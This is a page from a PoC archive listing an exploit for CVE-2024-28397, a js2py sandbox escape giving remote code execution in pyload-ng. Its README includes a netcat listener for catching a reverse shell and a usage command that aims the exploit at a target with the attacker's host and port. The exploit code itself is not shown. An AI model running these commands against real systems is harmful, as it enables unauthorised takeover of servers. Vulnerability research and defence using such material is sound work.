Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2024-28397 PoC — Js2Py 安全漏洞

Source
Associated Vulnerability
Title:Js2Py 安全漏洞 (CVE-2024-28397)
Description:An issue in the component js2py.disable_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.
Description
PoC exploit for CVE-2024-28397 – Remote Code Execution in pyload-ng via js2py sandbox escape
Readme
# 🚨 Remote Code Execution – CVE-2024-28397 (pyload-ng / js2py)

This repository contains a **Proof-of-Concept (PoC)** exploit for **CVE-2024-28397**, a Remote Code Execution vulnerability affecting **pyload-ng** due to insecure usage of **js2py**.  

> ⚠️ **Disclaimer:**  
> This PoC is for **educational and research purposes only**.  
> Do not use it on systems you do not own or have explicit permission to test.  
> The author is **not responsible** for any misuse of this code.

---

## 🐛 Vulnerability Details

- **CVE ID:** [CVE-2024-28397](https://nvd.nist.gov/vuln/detail/CVE-2024-28397)
- **Component:** `js2py` in `pyload-ng`
- **Impact:** Remote Code Execution (RCE)
- **Attack Vector:** Malicious JS payload escapes the js2py sandbox and executes arbitrary system commands.

---

## 📦 Requirements & Setup

You will need **Python 3.x**, the `requests` library, and `netcat` for catching the reverse shell.  

- 🖥️ Target → Vulnerable pyload-ng instance with /run_code endpoint accessible

## 🎧 Listener → Start before running exploit:
**nc -lvnp 4444**

## 🖥️ Usage:
**python3 exploit.py -url http://target.com -lhost YOUR_IP -lport 4444 -user attacker -passwd attacker123**

## 📌 Example Output:

- [+] Register successful!
- [+] Login successful
- [+] exploit worked


File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →